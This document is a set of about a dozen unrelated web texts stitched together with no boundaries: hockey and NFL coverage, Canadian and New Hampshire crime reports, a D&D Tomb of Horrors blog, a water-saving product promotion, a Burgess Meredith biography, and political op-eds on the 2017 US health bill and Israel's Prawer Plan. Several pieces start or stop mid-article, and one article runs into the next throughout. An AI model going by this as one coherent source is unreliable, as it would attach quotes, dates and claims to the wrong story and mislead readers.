"I'm not expecting to come in and be a savior or a hero, I am coming in to find my game and help my team," Kesler said. "Obviously I'm a competitive guy and it's tough to see your teammates go out there and compete night in and night out, that was the hardest thing. It's a little easier watching them win than lose."
Vancouver's chances of doing more of the latter improve with Kesler back.
In addition to being able to go against and shut down the opponent's top lines, Kesler helps an offense that was struggling before the trade-deadline addition of center Derek Roy. Kesler had 75 points three seasons ago, and scored 41 goals to go with 72 points when he won the Selke Trophy as the NHL's top defensive forward in 2011. His production fell to 22 goals and 49 points last season as he
tried to play through wrist and shoulder injuries that required summer surgery.
Kesler had a goal and four assists in seven games this season, but played most of that with the broken foot. The game Thursday against Phoenix will be just the second in more than a calendar year that he's played completely healthy.
"Other than breathing a little heavy, my body has never felt better," he said.
Kesler has 10 games left before the Stanley Cup Playoffs to get his legs back and find his game. The bigger challenge for a player that once seriously asked Canucks trainers to cut off a broken finger rather than miss more time after he'd worked hard to come back from hip surgery in time for the playoffs, has been waiting to come back.
"It's been a tough year so far," Kesler said. "Mentally exhausting. It's been a learning experience. I've learned a lot about my body. I am more mentally aware of my body and what I need to do to keep it 100 percent. Everything is an experience -- positive and negative -- and you've got learn from it."
That began last night with Trump’s ultimatum to the House that if they didn’t pass Trumpcare, he’d simply walk away from the entire deal, leaving Obamacare in place. It continued with Speaker of the House Paul Ryan determinedly announcing that a vote would take place on Friday, come hell or high water.
And Trump pressed forward this morning on Twitter attacking the House Freedom Caucus:
The irony is that the Freedom Caucus, which is very pro-life and against Planned Parenthood, allows P.P. to continue if they stop this plan! — Donald J. Trump (@realDonaldTrump) March 24, 2017
House GOP leadership feels the same way:
House GOP source: We are going forward. If Freedom Caucus wants to kill the bill do it in public on the floor. Our members are sick of this. — Alex Moe (@AlexNBCNews) March 24, 2017
In the media, Trump and establishment Republican allies united to condemn conservatives for supposedly maintaining Obamacare. Here was Hugh Hewitt, a solid voice for the Republican establishment wing of the party:
Meanwhile, Trump cheerleader Sean Hannity pre-emptively blamed the entire legislative branch for Trumpcare’s failure – even though Trump is the president pushing the vote today, rather than going through the usual legislative process:
Hannity last night said the legislative branch has “failed the president” https://t.co/QSUbIrsmxQ — Oliver Darcy (@oliverdarcy) March 24, 2017
And here was Quin Hillyer at the Washington Examiner, screaming at the conservatives who refuse to vote for this crap sandwich of a bill:
The House Freedom Caucus is clearly driven by outside groups such as Heritage Action, which has become such an all-or-nothing, my-way-or-the-highway outfit that it makes Patrick Henry look like a compromising squish. It seems as if every concession made to the Freedom Caucus is met with a new demand…Without this vote, they absolutely will not be able to meet their campaign pledges to replace Obamacare. And they will make the Republican Congress and the new White House look hopelessly inept, destroy any political momentum from the election, explode comity within the House and Senate Republican caucuses, and badly hobble the entire conservative agenda in a flurry of mutual recriminations.
This is a bunch of horse manure.
It’s horse manure for three reasons.
1. Friday Is An Artificial Deadline Pushed By Trump. Why exactly does this awful bill have to be shoved through on Friday? Why not wait, put something better together, and come back? Why not simply repeal Obamacare, then replace it piece by piece? The answer is obvious: Trump. Trump made a series of promises he can’t keep simultaneously regarding Obamacare. He promised to repeal the thing, get rid of the mandate, but somehow guarantee health insurance for everyone at lower cost. So Trump’s best bet is obvious: cram something down up front that leaves Obamacare in place, so he doesn’t get hit for breaking his substantive promises, or watch it die and blame somebody else. Ryan’s helping him along because he has no other choice. But Americans do. Republicans have control of Congress and the White House. There is no reason for a cram-down. Trump and Ryan didn’t even bother attempting to cobble together support from various Republican interest groups. Instead, they just went off on their own and decided to push this steaming pile.
2. The Bill Is Garbage Pushed By Ryan. Leave aside the public approval numbers, which are abysmal, far worse than they were for Obamacare: the bill maintains the Obamacare central regulatory regime, doesn’t lower cost dramatically, and provides the left a series of talking points that will crush Republicans in 2018. It’s not a significant free market reform, speculates about deficit reduction but doesn’t truly guarantee it (those block grants will increase or be replaced as political fallout hits Congress), and enshrines the Democratic article of faith that the government ought to provide health insurance to everyone via a regime of tax credits that amount to a new entitlement program. Ryan is pushing this bill because he thinks that’s all he can get through the Senate, and he’s negotiating with himself. That’s foolish. He should simply pass something that can pass the House, let McConnell do his damn job in the Senate, and then put together a workable bill.
3. This Isn’t A Binary Choice. Trump and his supporters blamed conservatives throughout the last election cycle for refusing to agree that election 2016 was a binary choice – either Trump or Clinton. There was substance to that argument, though it wasn’t completely logically persuasive. There is no such substance to this argument. None. Trump claiming that the House Freedom Caucus will be greenlighting funding for Planned Parenthood if they don’t go along with this cramdown is galling in the extreme – Trump’s the guy who spent years calling Planned Parenthood wonderful, and the Congress could easily pass a standalone bill defunding Planned Parenthood. Trump, in other words, is using the tried and true strategy of creating a false choice and then demanding others participate in it. What’s the point of electing Republicans to high office if they’re just going to water down Democratic proposals a bit and then declare a binary choice – their way or the highway?
Canadian police have arrested a man suspected of killing three police officers and wounding two others in Moncton, New Brunswick.
The Royal Canadian Mounted Police (RCMP) in New Brunswick said Justin Bourque was arrested without incident just after midnight in Moncton.
News of the arrest came after a huge manhunt went into its second night.
Following the arrest, police lifted a warning that residents should remain indoors and off the streets.
The three dead police officers have been identified as PC Fabrice Georges Gevaudan, PC David Joseph Ross and PC Douglas James Larche.
"It has been a very challenging 30 hours or more for the officers who worked around the clock to get this job done," Supt Marlene Snowman told reporters on Friday morning.
"It will take some time to heal but we will get there"
Mr Bourque, 24, was unarmed when he was taken into custody but had weapons nearby, Supt Snowman said.
'I saw him arrested'
A grainy image purporting to show Justin Bourque being taken into custody was circulating on social media.
A local resident named Michelle Thibodeau tweeted that she had witnessed the arrest.
"He was in my backyard. I saw him arrested in front of my eyes," she said.
"The Swat team arrived at my house and unloaded and started screaming in my backyard for him to surrender and he did. I watched it happen."
Image copyright AP Image caption Police sealed off roads in Moncton as they searched for the gunman
Stephen Puddicombe, a reporter for Canadian broadcaster CBC, said Mounties at the local RCMP headquarters smiled and hugged each other after the arrest was made.
"I think that's a celebration that you'll see repeated privately with Mounties around this city over the next several hours," he said.
The mayor of Moncton, George Leblanc, told CBC: "On the one hand we feel very happy, almost elated that this person has been arrested and this ordeal is over.
"But at the same time we have a great sense of sadness for the losses that our families have suffered."
Media playback is unsupported on your device Media caption Residents are now free to leave their homes after "a virtual lockdown" as CBC's Melissa Oakley reports
Barricades that had sealed off roads during the manhunt started coming down soon after news of the arrest leaked out, the Globe and Mail reported.
Earlier, police said the suspect, who was wearing camouflage gear and carrying rifles, had been spotted several times in north Moncton.
Dozens of police officers were seen scouring the search area with weapons drawn. Armoured security trucks were also visible.
One of the wounded Royal Canadian Mounted Police (RCMP) officers has been released from hospital, and one remains in hospital in a stable condition.
The officers were shot while responding to a report of an armed man at the north-west side of the town at about 20:00 local time (23:00 GMT) on Wednesday.
There were no big comebacks this week, but a few games where the Game Script exceeded the final margin. The Cowboys blew out the Bengals, and led 28-0 entering the fourth quarter; the game ended, 28-14.
With three minutes to go in the Broncos/Falcons game, Atlanta led 23-6. The Falcons were in control for most of the game, leading 20-3 mid-way through the third quarter. Denver scored ten points in the final three minutes, to give a not-as-close-as-it-looked final score of 23-16.
The Packers led 23-9 with a few minutes left in the game, before the Giants scored a touchdown. New York trailed by 8 points at times later in the game, but last trailed by 7 points with the ball with eight minutes left in the second quarter.
Below are the Week 5 Game Scripts data:
Team H/R Opp Boxscore PF PA Margin Game Script Pass Run P/R Ratio Op_P Op_R Opp_P/R Ratio DAL CIN Boxscore 28 14 14 17.3 25 29 46.3% 45 19 70.3% MIN HOU Boxscore 31 13 18 17 32 38 45.7% 46 14 76.7% NWE @ CLE Boxscore 33 13 20 13 42 29 59.2% 37 22 62.7% ATL @ DEN Boxscore 23 16 7 10.8 30 32 48.4% 41 24 63.1% GNB NYG Boxscore 23 16 7 7.8 45 32 58.4% 39 15 72.2% TEN @ MIA Boxscore 30 17 13 5.3 29 41 41.4% 24 17 58.5% DET PHI Boxscore 24 23 1 5.1 29 27 51.8% 36 21 63.2% PIT NYJ Boxscore 31 13 18 4.6 48 23 67.6% 39 17 69.6% ARI @ SFO Boxscore 33 21 12 4.5 29 37 43.9% 38 36 51.4% BUF @ RAM Boxscore 30 19 11 3.8 25 27 48.1% 34 29 54% IND CHI Boxscore 29 23 6 2.4 44 20 68.8% 43 19 69.4% TAM @ CAR Boxscore 17 14 3 1.6 32 38 45.7% 28 25 52.8% WAS @ BAL Boxscore 16 10 6 -0.0 42 20 67.7% 50 19 72.5% OAK SDG Boxscore 34 31 3 -0.5 43 25 63.2% 32 18 64%
Last week, I wrote that the 49ers and Cowboys engaged in a very run-heavy matchup, with the teams combining for 68 runs and just 58 pass plays. Well, in week 5, San Francisco did it again, this time with Arizona: the teams combined for 73 runs and 67 pass plays. It was the first game this year with over 70 runs, which means the 49ers have been involved in the two most run-heavy games of the season by raw total. This is what happens when Blaine Gabbert and Drew Stanton take the field. Of course, for the 49ers, Colin Kaepernick is now back in the lineup.
The Bucs were very run-happy on Monday Night Football, in a close win over Carolina. It worked, but it doesn’t make it less interesting that Tampa Bay gave Jacquizz Rodgers — signed on a 1-year, $760,000 deal — 30 carries, the same number of passes thrown by number one overall pick Jameis Winston. On Tampa Bay’s first two drives, Rodgers had 13 carries for 62 yards; over the rest of the game, he had 17 carries for 39 yards. Against the Rams, we saw Tampa Bay going extremely pass-heavy in a similarly close game; it appears as though the Bucs are still figuring out their identity.
Finally, the Titans also checked the run-heavy box this week. Marcus Mariota had 7 carries for 60 yards, and the running backs were great, too: DeMarco Murray and Derrick Henry rushed 34 times for 175 yards. Mariota was also efficient when passing; combined with holding a lead, there just wasn’t much reason for Tennessee to throw against the Dolphins.
The Ravens went extremely pass-happy given that Baltimore’s game with Washington had an even Game Script. Baltimore gained just 188 net passing yards on 50 dropbacks, and did that despite the elements (it was very windy), the game script, and the running game (Terrance West had 95 yards on 11 carries) all suggesting otherwise. In a related note, offensive coordinator Marc Trestman was fired after the game, and will be replaced by… Marty Mornhinweg.
Police searched for 25-year-old Christopher Lemear, of Epping, throughout the morning on Tuesday after he was last seen just after midnight. Initially, police said they got a 911 call late Monday about a domestic disturbance. In the background of the call, a gunshot was heard. Police said Lemear is a convicted sex offender and is not allowed to have a gun.
Lemear was considered armed and dangerous and SWAT teams were called in to help search for him. After 12 hours, Lemear was captured after he was found standing on the side of the road. He was placed under arrest without incident.
He is being charged with illegal gun possession and reckless conduct.
He is due in court Thursday.
Large caravan of NH state police arriving on scene in #epping @7News pic.twitter.com/lq5TMP0ByY — John Cuoco (@JCuocoNews) April 19, 2016
Welcome to a new series for Dungeon’s Master where I’ll be talking about encounter design, emergent storytelling, setting the tone of your game, finding ways to challenge your players, and revitalizing the classic dungeon crawl for a new generation of gamers – all through the lens of the classic Tomb of Horrors adventure as I run it as a mini-campaign for group of veteran gamers. The players will provide their perspective as well, as they talk about their preconceptions of the Tomb of Horrors and their character creation process for this iconic adventure. We’ll also have real-play podcasts of our entire Tomb of Horrors experiences hosted at the Shattered Sea in the coming weeks.
Today the Dungeon’s Master team welcomes Steampunked, our newest contributor. He brings a wealth of gaming experience to our blog and a unique perspective on D&D. He’s played and DMed many games with Ameron and Bauxtehude including LFR adventures, D&D Encounters and the Shattered Sea campaign.
Each of my articles will unpack my process as I go about redeveloping, re-imagining, and running the Tomb of Horrors. I’m going to do my best at first to keep these articles as spoiler-free as possible, and I’m going to give fair warning when I do break into spoiler-mode. Be warned that foreknowledge of the Tomb of Horrors can damage the experience of a player, although one of my own players turns out to be the exception.
If you’ve never heard of the fearsome Tomb of Horrors, power-up your Google-fu and get ready to find a slew of horror stories and tales of sweet victory about one of the greatest and deadliest dungeons ever designed. The stories of survival and conquest of the Tomb are as legendary as its creator, Gary Gygax. The Tomb of Horrors is among the oldest published adventures for a role-playing game, having made its debut at Origins as a tournament module in the mid-1970s. According to legend, Gygax designed the adventure to test the mettle of cocksure players with seemingly undefeatable characters. He pit them against deadly traps and puzzles for the ultimate “thinking person’s adventure… if your players are a hack-and-slay gathering, they will be unhappy!” The Tomb’s reputation as a death-trap is well-deserved: the original adventure is packed with instant-death with no-save situations, undetectable traps, confusing riddles, and devious tricks that have since become the tried-and-true tropes of the dungeon crawl genre.
Though I have a love-hate relationship with the traditional dungeon crawl, I always find myself coming back to it for inspiration and enlightenment. This classic format is the laboratory from which all other modes of the game are invented, developed, and tested against, whether it is a wilderness exploration game, urban political intrigue, or a battlefield apocalypse. At its worst, the dungeon crawl is predictable, unrealistic, overdone, and boring. At its best it offers an experience which touches the core of what this game is really about: exploration of the fantastic realms of our imagination where adventure, horror, mystery, and heart-pumping action blend together seamlessly into a great story.
Since it exemplifies all of these qualities so well, I have wanted to run the Tomb of Horrors for many years. Wizards of the Coast’s recent release of an updated version of the original adventure through the RPGA Rewards Program made for the perfect opportunity to play the Tomb of Horrors under the 4e rule set. Updated by Scott Fitzgerald Gray for the 4e, this incarnation of the Tomb serves as a companion piece to the hardcover super adventure of the same name. However, one does not need to play one to play the other, and the hardcover super-adventure is best through of as a sequel or spin-off of Gygax’s original.
Renovations and Homework
Before jumping into the campaign, I did what I do with any published adventure: break it open and see how it works, then change everything I don’t like about it. I wanted to preserve as much of the original as possible, and to aid me in this, I tracked down copies of Gygax’s original adventure, as well as Bruce Cordell’s Return to the Tomb of Horrors and his 3.5e update of the original adventure. With materials spanning all four editions of the game, I set about making a kit-bash of featuring the best of each. Some of the traps remained as deadly as the day Gygax wrote them, and others have been revised to uphold their original spirit while eschewing the “instant death, no save” tendencies of the original. Drawing upon the collective wisdom of others who had written about their experiences with the Tomb was also immensely helpful. This is a great thing to do whenever you’re running a published adventure or looking for new ideas. Remember, good artists copy, but the greatest artists steal.
Building a Dream Team
The group of players taking on the Tomb and its fearsome master, the demi-lich Acererak, defines the game more than anything I could ever do in adding my own flair to the adventure. A year in the big city introduced me to an elite cadre of gamers who I’d met through various channels. I had the rare advantage to hand-pick my players for this game, giving a full table of that extraordinary self-starting gamer who loves a good story, a well-made character, and plenty of action and adventure (with a side of beer and pretzels and a dash of lewd humor). In other words, a group of players a lot like me.
Setting the Tone
One of the most important and defining characteristics of any D&D campaign, beyond the setting, characters, and even the rules of the game, is the tone and attitude taken towards the game. A campaign might be a lighthearted, beer-and-pretzel dungeon delve, an intense and dramatic epic tale, a gritty survival horror, or any combination in between and beyond. The game might be all about telling a story, or it might just be about friends getting together for some fun. These are all adjustable levers that can be altered: a game can be serious or silly, the world noble and bright or grim and dark. The gathering may want intrigue, adventure, humor, or horror.
As a DM, the first thing I like to do with my players before I even lay the groundwork of the campaign is talk a little bit about the tone. The tone of a campaign determines just what kind of play experience you’re going to have, so it’s worthwhile giving it a bit of through before you jump in and see what happens. Even with people I’ve played with for years, appetites and attitudes can vary widely from campaign to campaign as players grow bored of the old and yearn for something new. I usually approach my players with a concept, like “Romans versus Samurai” or “lots of undead and plagues” or in this case “the Tomb of Horrors” and we start a dialogue about what everyone is interested in doing with that concept, and how they’d like to see that game played out. Starting this dialogue helps to engage the players from the get-go, and lets everyone contribute into creating the type of game everyone can enjoy.
With a single exception, none of my players had any direct knowledge about the Tomb of Horrors, only its deadly reputation. We discussed running the game in one of two ways: either as a lighthearted game or making a deeper investment by running a grittier game.
The Funhouse of Horrors
This style would take a very relaxed attitude towards the game as a whole. Players would only need to be themselves at the table, and bring along a slew of character sheets in expectation for a high fatality rate. Bring out your super-optimized gimmick builds and get ready to see them torn to shreds as they fall to the nefarious demilich’s devious traps. No worries, however – a replacement character would simply pop into existence. We wouldn’t worry too much about role-playing, character development, and the nitty-gritty details of resources and instead focus on the fun of rolling dice, dying in ridiculous situations, and just having a good old-fashioned nerd-man night. From the research I had done around other gaming blogs and Tomb of Horrors stories, this is the typical way the Tomb is played today – as a one-shot death-trap diversion similar in practice to a Living Forgotten Realms session or D&D Encounters. Something about this option, however, wasn’t what anyone wanted, so we turned to an alternative…
The Gritty Campaign
Ultimately, the unanimous decision was for a gritty game. This would be a campaign! I asked each member of the group to come up with a short reason why their character is headed to the Tomb. Characters would be forged in the depths of the most horrible dungeon ever devised, and there would be bitter losses of beloved, if short-lived, characters. Death would be a “problem” as the players would have to spend time and resources either raising a fallen party member or making the trek back to town to recruit. Resources, rests, supplies, and would be tracked, and the nearest town for re-supply would be a week away. The players would have a small caravan and a small cadre of minions to guard their camp and act as porters (these characters would never venture into the Tomb, however). On my end of things, I would be making liberal use of some of the hidden details of the Tomb to confound the party if they tried to take an extended rest after every encounter.
The result, thus far, has been a bit of a hybrid – we have a lot of fun, crack a lot of jokes, and have seen some stunning and deep character development and role-playing come out of the characters, and possibly the best sessions of D&D I have ever run.
In the next installment of this Tomb of Horrors series I’ll talk about emergent game play and how storytelling manifests within the Tomb of Horrors in a unique and unprecedented way, and touch a little more on genre and tone within the game.
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However, the interim service was a Ku-band satellite operating at the 12 to 18 gigahertz frequency and the new satellites are both Ka-band operating at between 20 and 30 gigahertz. This means the 40,000 regional and remote households who were using the interim service will need to have their existing 120 centimetre diameter NBN satellite dish and equipment replaced before they can start using the faster SkyMuster service. This will have to be done within a year, before the interim service is switched off. The dishes remain NBN Co's property and a spokeswoman said "NBN will look to explore options for reuse of the old interim satellite service equipment". Whether this means re-cycling, selling or donating the dishes remains to be seen. Ku-band satellites operate all over the world and the dishes can also be used for Foxtel in Australia. Used dishes sell for about $40 each on eBay. Ms Dickinson said the two SkyMuster satellites would "give us the total system capacity of 135 gigabits per second". Data from NBN customers will be spread across the two satellites, with one satellite able to take all the traffic if the other fails. The new service will be available to 400,000 Australians in regional and remote areas. The rest of the population will be serviced by fixed or fixed wireless internet. Ms Dickinson confirmed NBN Co may be able to re-sell spare capacity on its satellites in the future.
Introducing The AQUS Water Saving System
Flushing a toilet is one of those things that you’ll probably do a couple times a day for the rest of your life. Multiply that by the three other people in your house, and if you do the math, you’ll know that it can add up to quite a bit of flushing! As a matter of fact, our bathrooms account for roughly 74% of total water usage, and to really put it in perspective, 40% of all domestic water consumed is used to flush toilets.
Now that we’ve established just how much water is being used each day in America to flush toilets, you’ll know why the good people at WaterSaverTech.com have brilliantly constructed the ultimate way to go green in your home – the AQUS water saving system.
AQUS uses water from your bathroom sink to flush your toilet. Just take a minute and think about how much your bathroom sink is used (hand washing, shaving, brushing teeth, etc…). All that water you’re putting down the drain can be filtered and strategically moved to a reservoir that’s used to flush your toilet – saving the average two person household around 10-20 gallons per day, or 5000 gallons a year. Four person household – even better!
The AQUS is easy to install, it’s hidden from view, tightly tucked inside the vanity below your sink, and works in conjunction with standard bathroom pipes. Filters are in place to prevent hair and other particles from entering the resovoir, and purification tablets are also used to control bacteria. So it’s a neat and clean operation that will really make an impact on your water bill, and more importantly – the world.
Check out these statistics, reported by EPA’s Office of Water:
According to the U.S. Environmental Protection Agency’s Office of Water, more than 4.8 billion gallons of water is flushed down U.S. toilets each day. The American Water Works Association estimates that if water–saving features were installed in every U.S. household, water use would decrease by 30 percent. That would reduce daily water used by about 5.4 billion gallons, resulting in $113 million dollar–volume savings a day.
So if you’re genuinely trying to make an impact on our world by saving energy and living more “green”, then this would be an affordable, money saving, and environmentally perfect way to go green today. That’s the cool thing about living greener – usually there are steps you can take this very instant to do your part. The AQUS is no exception, and I highly recommend you head over to their site for more information.
Meredith was born in 1907 in Cleveland , Ohio, the son of Ida Beth (née Burgess) and Dr. William George Meredith, a Canadian-born physician, of English descent. [11] His mother came from a long line of Methodist revivalists, a religion to which he adhered throughout his lifetime.
Theatre Edit
The Remarkable Mr. Pennypacker (1951) In(1951)
In 1929, he became a member of Eva Le Gallienne's Civic Repertory Theatre company in New York City. Although best known to the larger world audience for his film and television work, Meredith was an influential actor and director for the stage. He made his Broadway debut as Peter in Le Gallienne's production of Romeo and Juliet (1930) and became a star in Maxwell Anderson's Winterset (1935), which became his film debut the following year. His early life and theatre work were the subject of a New Yorker profile.[15]
He garnered critical acclaim in the 1935 Broadway revival of The Barretts of Wimpole Street starring Katharine Cornell. She subsequently cast him in several of her later productions. Other Broadway roles included Van van Dorn in High Tor (1937), Liliom in Liliom (1940), Christy Mahon in The Playboy of the Western World (1946), and Adolphus Cusins in Major Barbara (1956). He created the role of Erie Smith in the English-language premiere of Eugene O'Neill's Hughie at the Theater Royal in Bath, England in 1963. He played Hamlet in avant garde theatrical and radio productions of the play.[16]
A distinguished theatre director, he won a Tony Award nomination for his 1974 Broadway staging of Ulysses in Nighttown, a theatrical adaptation of the "Nighttown" section of James Joyce's Ulysses. Meredith also shared a Special Tony Award with James Thurber for their collaboration on A Thurber Carnival (1960).[17] In the late seventies, he directed Fionnula Flanagan's one-woman multi-role play "James Joyce's Women", which toured for several years.
Cinema Edit
Second Chorus Meredith in
Early in his career, Meredith attracted favorable attention, especially for playing George in a 1939 adaptation of John Steinbeck's Of Mice and Men and as war correspondent Ernie Pyle in The Story of G.I. Joe (1945). He was featured in many 1940s films, including three—Second Chorus (1940), Diary of a Chambermaid (1946), and On Our Merry Way (1948) — co-starring his then-wife Paulette Goddard. As a result of the House Committee on Un-American Activities investigation, Meredith was placed on the Hollywood blacklist, and was largely absent from film for the next decade, though he remained involved in stage plays and radio during this time.[18]
Meredith was a favorite of director Otto Preminger, who cast him in Advise and Consent (1962), The Cardinal (1963), In Harm's Way (1965), Hurry Sundown (1967), Skidoo (1968), and Such Good Friends (1971). He was in Madame X (with Lana Turner, 1966) and Stay Away Joe (1968), appearing as the father of Elvis Presley's character. He was acclaimed by critics for his performance as Harry Greene in The Day of the Locust (1975) and received nominations for the BAFTA, Golden Globe, and Academy Award for best supporting actor. Meredith then played Rocky Balboa's trainer Mickey Goldmill in the first three Rocky films (1976, 1979, and 1982). Though his character died in the third Rocky film, he returned briefly in a flashback in the fifth film, Rocky V (1990). His portrayal in the first film earned him his second consecutive nomination for the Academy Award for Best Supporting Actor.
Meredith played an old Korean War veteran Captain J.G. Williams in The Last Chase (1981) with Lee Majors. He appeared in Ray Harryhausen's last stop-motion feature Clash of the Titans (also 1981) in a supporting role. Meredith appeared in Santa Claus: The Movie (1985) and was a voice actor in G.I. Joe: The Movie (1989). In his last years, he played Jack Lemmon's character's sex-crazed 95-year-old father in Grumpy Old Men (1993) and its sequel, Grumpier Old Men (1995).
Meredith directed the movie The Man on the Eiffel Tower (1949) starring Charles Laughton, which was produced by Irving Allen. Meredith also was billed in a supporting role in this film. In 1970, he directed (as well as co-wrote and played a supporting role in) The Yin and the Yang of Mr. Go, an espionage caper starring James Mason and Jeff Bridges.
Television Edit
Meredith appeared in four different starring roles in the anthology TV series The Twilight Zone, tying him with Jack Klugman for the most appearances on the show in a starring role.
In his first appearance in 1959, "Time Enough at Last", he portrayed a henpecked bookworm who finds himself the sole survivor of an unspecified apocalypse which leads him to contemplate suicide until he discovers the ruins of the library. In 1961's "Mr. Dingle, the Strong", Meredith played the title character, a timid weakling who receives superhuman strength from an extraterrestrial experiment in human nature. Also that year in "The Obsolete Man", Meredith portrayed a librarian sentenced to death in a dystopic totalitarian society. Lastly, in 1963's "Printer's Devil", Meredith portrayed the Devil himself. He would later play two more roles in Rod Serling's other anthology series, Night Gallery. Meredith was the narrator for Twilight Zone: The Movie in 1983.
The actor appeared in various other television programs, including the role of Christopher Norbert III, in the 1962 episode "Hooray, Hooray, the Circus Is Coming to Town" of the NBC medical drama about psychiatry, The Eleventh Hour starring Wendell Corey and Jack Ging. He also guest starred in the ABC drama about psychiatry, Breaking Point in the 1963 episode titled "Heart of Marble, Body of Stone".
Meredith appeared in various western series, such as Rawhide (four times), The Virginian (twice), Wagon Train, Branded, The Wild Wild West, The Travels of Jaimie McPheeters, Laredo, Bonanza, and Daniel Boone. In 1963, he appeared as Vincent Marion in a five-part episode of the last season of the Warner Bros. ABC detective series 77 Sunset Strip. He starred three times in Burke's Law (1963–1964), starring Gene Barry.
Batman Meredith as the Penguin on the classic '60s TV show
Meredith also played the Penguin in the television series Batman from 1966 to 1968, and in the 1966 film based on the TV series. His role as the Penguin was so well-received, the show's writers always had a script featuring the Penguin ready whenever Meredith was available. He and Cesar Romero (the Joker) are tied for number of appearances on the show.[citation needed] He also made a brief cameo appearance as the Penguin in the 1968 episode of The Monkees titled "Monkees Blow Their Minds".
From 1972 to 1973, Meredith played V. C. R. Cameron, director of Probe Control, in the television movie/pilot Probe and then in Search, the subsequent TV series (the name was changed to avoid conflict with a program on PBS).
Meredith won an Emmy Award as Outstanding Supporting Actor in a Comedy or Drama Special for the 1977 television film Tail Gunner Joe, a fictitious study of U.S. Senator Joseph McCarthy, the anticommunist politician active in the 1950s. He was cast as crusading lawyer Joseph Welch.[19]
The Canadian Federation of Independent Business (CFIB) reported Thursday that the owners of 23 per cent of Saskatchewan businesses say they will lay off staff members through the first part of 2018, compared to just 15 per cent nationally.
“It is … concerning to see short-term employment plans deteriorating even more,” Marilyn Braun-Pollon, the CFIB’s vice president for the prairies, said in a statement, describing the figure as a “record high” for the province.
The CFIB said in a news release that while its monthly business barometer index — which measures confidence in the economy — is virtually unchanged from October, it remains the third lowest in the country at 52.3.
According to the CFIB, which has around 110,000 members nationwide, the index operates on a scale from 0 to 100, with anything over 50 indicating business owners expect their companies to grow over the next year.
That is reflected in the small number of local businesses — 10 per cent, compared to 14 per cent nationally — planning to increase employment in a market where almost half of all companies are struggling with insufficient domestic demand, the CFIB said.
In what was billed as a “day of rage” last month, thousands of Palestinians took to the streets to protest against a plan to uproot tens of thousands of Bedouin from their ancestral lands inside Israel, in the Negev (Naqab).
The clashes were the worst between Israeli police and the country’s large Palestinian minority since the outbreak of the second intifada 13 years ago, with police using batons, stun grenades, water cannon and arrests to deter future protests.
Things are only likely to get more heated. The so-called Prawer Plan, being hurried through parliament, will authorise the destruction of more than 30 Bedouin villages, forcibly relocating the inhabitants to deprived, overcrowded townships. Built decades ago, these urban reservations languish at the bottom of every social and economic index.
Bedouin leaders, who were ignored in the plan’s drafting, say they will oppose it to the bitter end. The villages, though treated as illegal by the state, are the last places where the Bedouin cling to their land and a traditional pastoral life.
But the Israeli government is equally insistent that the Bedouin must be “concentrated” – a revealing term employed by Benny Begin, a former minister who helped to formulate the plan. In the place of the villages, a handful of Jewish towns will be erected.
The stakes are high, not least because Israel views this battle as a continuation of the 1948 war that established a Jewish state on the ruins of Palestine.
Avigdor Lieberman, the foreign minister, argued last week that the fight over the Negev proves “nothing has changed since the days of the tower and stockade” – a reference to heavily fortified outposts the Zionists aggressively built in the 1930s to evict Palestinians from the land they had farmed for centuries.
These outposts later became land-hungry farming communities, such as the kibbutz, that gave the Jewish state its territorial backbone.
Mr Lieberman’s view reflects that of the government: “We are fighting for the lands of the Jewish people, against those who intentionally try to rob and seize them.”
The labelling of the Bedouin as “squatters” and “trespassers” reveals much about the intractability of the wider conflict – and why the Americans have no hope of ending it as long as they seek solutions that address only the injustices caused by the occupation that began in 1967.
Doron Almog, who is in charge of implementing the Prawer Plan, observed last week that the Bedouin were not resisting it to save their communities but “to create territorial contiguity between Hebron and the Gaza Strip”. In other words, in Almog’s paranoid thinking, the Bedouin’s struggle for rights is really a cover for their ambition to serve as a bridgehead between the West Bank and Gaza.
In truth, both Israel and the Palestinians understand that the war of 1948 never really finished.
Suhad Bishara, a lawyer specialising in Israeli land issues for the Adalah legal centre, has called the Prawer Plan a “second nakba”, in reference to the catastrophic events of 1948 that stripped the Palestinians of their homeland.
Israel, meanwhile, continues to conceive of its 1.5 million Palestinian citizens – however peaceable – as just as alien and threatening to its interests as the Palestinians in the occupied territories.
The roots of the Prawer Plan can be traced to one of Zionism’s earliest principles: “Judaisation”. There are cities across Israel, including Upper Nazareth, Karmiel and Migdal Haemek, founded as Judaisation communities next to large Palestinian populations with the official goal of “making the land Jewish”.
Judaisation’s faulty premise, in the pre-state years, was the fantasy that Palestine was “a land without a people for a people without a land”. Its sinister flip side was the cheery injunction to Zionism’s pioneers to “make the desert bloom”, chiefly by driving out Palestinians.
Nowadays, the term “Judaisation”, with its unpleasant overtones, has been discarded in favour of “development”. There is even a minister for “developing the Negev and the Galilee” – Israel’s two areas with large concentrations of Palestinians. But officials are interested only in Jewish development.
Last week, in the wake of the clashes, the Israeli Haaretz daily published leaked documents showing that the World Zionist Organisation – an unofficial arm of the government – has been quietly reviving the Judaisation programme in the Galilee.
In an effort to bring another 100,000 Jews to the region, several new towns are to be built, for Jews only, dispersed as widely as possible in contravention of Israel’s own national master plan, which requires denser building inside existing communities to protect scarce land resources.
All this generosity towards Israel’s Jewish population is at the expense of the country’s Palestinian citizens. They have not been allowed a single new community since Israel’s founding more than six decades ago. And the new Jewish towns, as Arab mayors complained last week, are being built intentionally to box them in.
For officials, the renewed Judaisation drive is about asserting “Israeli sovereignty” and “strengthening our hold” over the Galilee, as if the current inhabitants – Israeli citizens who are Palestinian – were a group of hostile foreigners. Haaretz more honestly characterised the policy as “racism”.
Judaisation casts the conflict between Israelis and Palestinians in zero-sum terms, and thereby makes it unresolvable. In considering its Palestinian citizens, Israel speaks not of integration, or even assimilation, but of their enduring status as a “fifth column” and the Jewish state’s “Achilles heel”.
That is because, were principles of justice and equality ever to be enforced, Palestinians in Israel could serve as a gateway by which millions of exiled Palestinians might find their way back home.
With the policy of Judaisation revoked, the Palestinian minority could end the conflict without violence simply by pulling down the scaffolding of racist laws that have blocked any return for the Palestinians since their expulsion 65 years ago.
This is why Israeli prime minister Benjamin Netanyahu demands as part of the current peace negotiations that the Palestinians sanctify the Judaisation principle by recognising Israel as a Jewish state. It is also why the talks are doomed to failure.
Russia has dismissed allegations that it possesses compromising personal and financial information on Donald Trump as "utter nonsense".
It said the unsubstantiated dossier of a plot to obtain material on the President-elect to blackmail him if necessary was a "total fake" and aimed at damaging Russian ties with the United States.
:: Claims of Russian plot to compromise Trump
"The Kremlin does not have compromising information on Trump," Russian President Vladimir Putin's spokesman Dmitry Peskov said on Wednesday.
"It is an attempt to damage our bilateral relations, it is pulp fiction.
